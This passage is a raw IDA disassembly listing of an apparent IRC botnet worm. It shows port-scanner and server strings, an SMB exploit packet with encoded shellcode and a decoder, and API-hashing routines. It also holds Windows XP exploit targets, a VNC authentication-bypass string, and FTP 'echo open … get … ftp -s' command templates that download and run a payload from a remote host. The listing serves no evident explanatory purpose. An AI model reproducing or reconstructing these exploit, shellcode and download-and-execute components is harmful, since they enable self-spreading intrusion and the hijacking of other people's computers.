34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_431914 db 2Dh ; - ; DATA XREF: sub_40BACD+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_431948 db 2Dh ; - ; DATA XREF: sub_40BACD+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_34 db '- Failed to start server, error: <%d>.',0 unk_431980 db 2Dh ; - ; DATA XREF: sub_40BACD+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 10h unk_4319B0 db 2Dh ; - ; DATA XREF: sub_40BACD+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start server, error: <%d>.',0 align 4 unk_4319E4 db 2Dh ; - ; DATA XREF: sub_40BACD+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_431A18 db 2Dh ; - ; DATA XREF: sub_40BACD+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_36 db ' Failed to start server, error: <%d>.',0 align 4 unk_431A4C db 2Dh ; - ; DATA XREF: sub_40C124+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431A74 db 2Dh ; - ; DATA XREF: sub_40C124+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431AAC db 2Dh ; - ; DATA XREF: sub_40C124+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431AEC db 2Dh ; - ; DATA XREF: sub_40C124+38Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431B24 db 2Dh ; - ; DATA XREF: sub_40C124+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431B58 db 2Dh ; - ; DATA XREF: sub_40C124+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431B8C dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C59B+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db '░B░B░B░B',0 ; DATA XREF: sub_40CADA+B2o align 10h dword_431C40 dd 10FF8h, 0 ; DATA XREF: sub_40CADA+6Ao dword_431C48 dd 10FF8h ; DATA XREF: sub_40CADA+79o dword_431C4C dd 7FFDF020h, 0 ; DATA XREF: sub_40CADA+162o dword_431C54 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF04+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_431CDC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF04+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_431D0C dd 0 ; DATA XREF: sub_40CF04+44o dd 800000D4h, 0 unk_431D18 db 81h ; │ ; DATA XREF: sub_40CFDE+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_431D64 db 41h ; DATA XREF: sub_40D07C+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_431DA8 proc near ; DATA XREF: ___:0040D35Bo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_431EA4 push dword ptr [esi] push 63D61209h call sub_431EBA mov [esi+8], eax call sub_431E6D push dword ptr [esi+4] push 0CA2BD06Bh call sub_431EBA mov [esi+0Ch], eax call sub_431E1F push dword ptr [esi+4] push 4C0297FAh call sub_431EBA xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_431DA8 endp ; =============== S U B R O U T I N E ======================================= sub_431E1F proc near ; CODE XREF: sub_431DA8+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_431E48 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_431E1F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E48 proc near ; CODE XREF: sub_431E1F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_431E57: ; CODE XREF: sub_431E48+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_431E64 inc ebx jmp short loc_431E57 ; --------------------------------------------------------------------------- loc_431E64: ; CODE XREF: sub_431E48+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_431E48 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E6D proc near ; CODE XREF: sub_431DA8+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_431E85: ; CODE XREF: sub_431E6D+1Ej cmp [ecx], ebx jz short loc_431E8D mov ecx, [ecx] jmp short loc_431E85 ; --------------------------------------------------------------------------- loc_431E8D: ; CODE XREF: sub_431E6D+1Aj mov edx, edi loc_431E8F: ; CODE XREF: sub_431E6D+2Aj cmp [edx+4], ebx jz short loc_431E99 mov edx, [edx+4] jmp short loc_431E8F ; --------------------------------------------------------------------------- loc_431E99: ; CODE XREF: sub_431E6D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_431E6D endp ; =============== S U B R O U T I N E ======================================= sub_431EA4 proc near ; CODE XREF: sub_431DA8+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_431EA4 endp ; =============== S U B R O U T I N E ======================================= sub_431EBA proc near ; CODE XREF: sub_431DA8+16p ; sub_431DA8+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_431ED0: ; CODE XREF: sub_431EBA+33j jecxz short loc_431F0A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_431EDD: ; CODE XREF: sub_431EBA+2Dj lodsb cmp al, ah jz short loc_431EE9 ror edi, 0Dh add edi, eax jmp short loc_431EDD ; --------------------------------------------------------------------------- loc_431EE9: ; CODE XREF: sub_431EBA+26j cmp edi, [esp+20h+arg_0] jnz short loc_431ED0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_431F0A: ; CODE XREF: sub_431EBA:loc_431ED0j ; sub_431EBA:loc_431F0Aj jmp short loc_431F0A sub_431EBA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_431F10 proc near ; DATA XREF: ___:0040D309o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_431F62 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_431F2D: ; CODE XREF: sub_431F10+38j jecxz short loc_431F5D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_431F38: ; CODE XREF: sub_431F10+32j lodsb test al, al jz short loc_431F44 ror edx, 0Dh add edx, eax jmp short loc_431F38 ; --------------------------------------------------------------------------- loc_431F44: ; CODE XREF: sub_431F10+2Bj cmp edx, [esp+arg_0] jnz short loc_431F2D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_431F5D: ; CODE XREF: sub_431F10:loc_431F2Dj mov [esp+arg_0], ebx retn sub_431F10 endp ; =============== S U B R O U T I N E ======================================= sub_431F62 proc near ; CODE XREF: sub_431F10+7p ; FUNCTION CHUNK AT 00431F9A SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_431F7B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_431F86 ; --------------------------------------------------------------------------- loc_431F7B: ; CODE XREF: sub_431F62+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_431F86: ; CODE XREF: sub_431F62+14j pop edi xor esi, esi pusha push esi jmp short loc_431F9A sub_431F62 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431F8D proc near ; CODE XREF: sub_431F62:loc_431F9Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_431F8D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F62 loc_431F9A: ; CODE XREF: sub_431F62+29j call sub_431F8D loc_431F9F: ; DATA XREF: sub_40CADA+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_431F62 ; --------------------------------------------------------------------------- dw 0 dword_431FA4 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o dword_431FB0 dd 30h ; DATA XREF: sub_40CADA+2CAo dword_431FB4 dd 0A1h ; DATA XREF: sub_40CADA+29Fo dword_431FB8 dd 3 ; DATA XREF: sub_40CADA+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CADA+153o align 4 loc_431FC4: ; DATA XREF: sub_40CADA+E8o jmp short near ptr dword_431FCC ; --------------------------------------------------------------------------- db 6 dup(90h) dword_431FCC dd 0 ; CODE XREF: ___:loc_431FC4j aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D330o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 8 dword_432038 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo ; --------------------------------------------------------------------------- loc_432044: ; CODE XREF: ___:0043204Ej xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_432044 inc edi jz short loc_43208B and eax, 952CE753h inc esp jle short loc_4320B3 push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_43208B: ; CODE XREF: ___:00432051j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_4320EA+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_4320B0: ; CODE XREF: ___:004320DDj xor [esi-25h], bl loc_4320B3: ; CODE XREF: ___:00432059j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_4320CC: ; CODE XREF: ___:004320FFj rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_4320B0 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_4320EA: ; CODE XREF: ___:00432091j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_432176 jo short loc_4320CC fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_43210D+1 add bl, [edi] loc_43210D: ; CODE XREF: ___:00432109j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_432122+2 cmp ch, bh dec edx loc_432122: ; CODE XREF: ___:0043211Dj xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_432176: ; CODE XREF: ___:004320FDj mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_4321FC sub al, 0BCh jmp near ptr 5445256Ah ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_432198 dd 0EFFFC481h, 44FFFFh, 4321E4h ; DATA XREF: ___:0040DC32o dword_4321A4 dd 42Ah ; DATA XREF: ___:0040DBE5r dword_4321A8 dd 3E8h ; DATA XREF: ___:0040DC56r dword_4321AC dd 258h ; DATA XREF: ___:0040DC28r byte_4321B0 db 1 ; DATA XREF: ___:0040DB91r ; ___:0040DC5Fr align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_4321C8 dd 20804h ; DATA XREF: sub_40D89Fr ___:0040DC7Do ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321B4o align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_4321FC: ; CODE XREF: ___:00432180j push eax xor al, 29h loc_4321FF: ; DATA XREF: ___:0040DBB9o add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 8 dword_432208 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAE9o dword_43221C dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Do aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co align 4 aSIpc db '\\%s\ipc$',0 align 10h aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40DFE2+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_4322C4 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co align 4 aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o align 4 word_433508 dw 1 ; DATA XREF: ___:0040E210r align 4 dword_43350C dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_419C64+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 aFtpTransferCom db 'ftp transfer complete to: %s',0 align 4 a226TransferCom db '226 Transfer complete.',0Ah,0 aFtpTransferSta db 'ftp transfer started to: %s',0 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 align 4 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 10h aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 10h a226TransferC_0 db '226 Transfer complete',0Ah,0 align 4 aList_0 db 'LIST',0 align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:00437C70o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:00437C7Co unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_3 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_4337F4 db 2Dh ; - ; DATA XREF: sub_40F0D5+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_43381C db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D5+2CFo ; sub_41A4D1+F5o align 10h aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D5+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F530+98o ; sub_41AA42+1AEo align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_40F530+5Fo align 4 unk_433A3C db 2Dh ; - ; DATA XREF: sub_40F6B3+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_37 db ' failed to start worker thread, error %d',0 align 4 unk_433A74 db 2Dh ; - ; DATA XREF: sub_40F6B3+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 asc_433AA8: ; DATA XREF: sub_40F6B3+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_40F6B3+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40F96A+61Co align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: 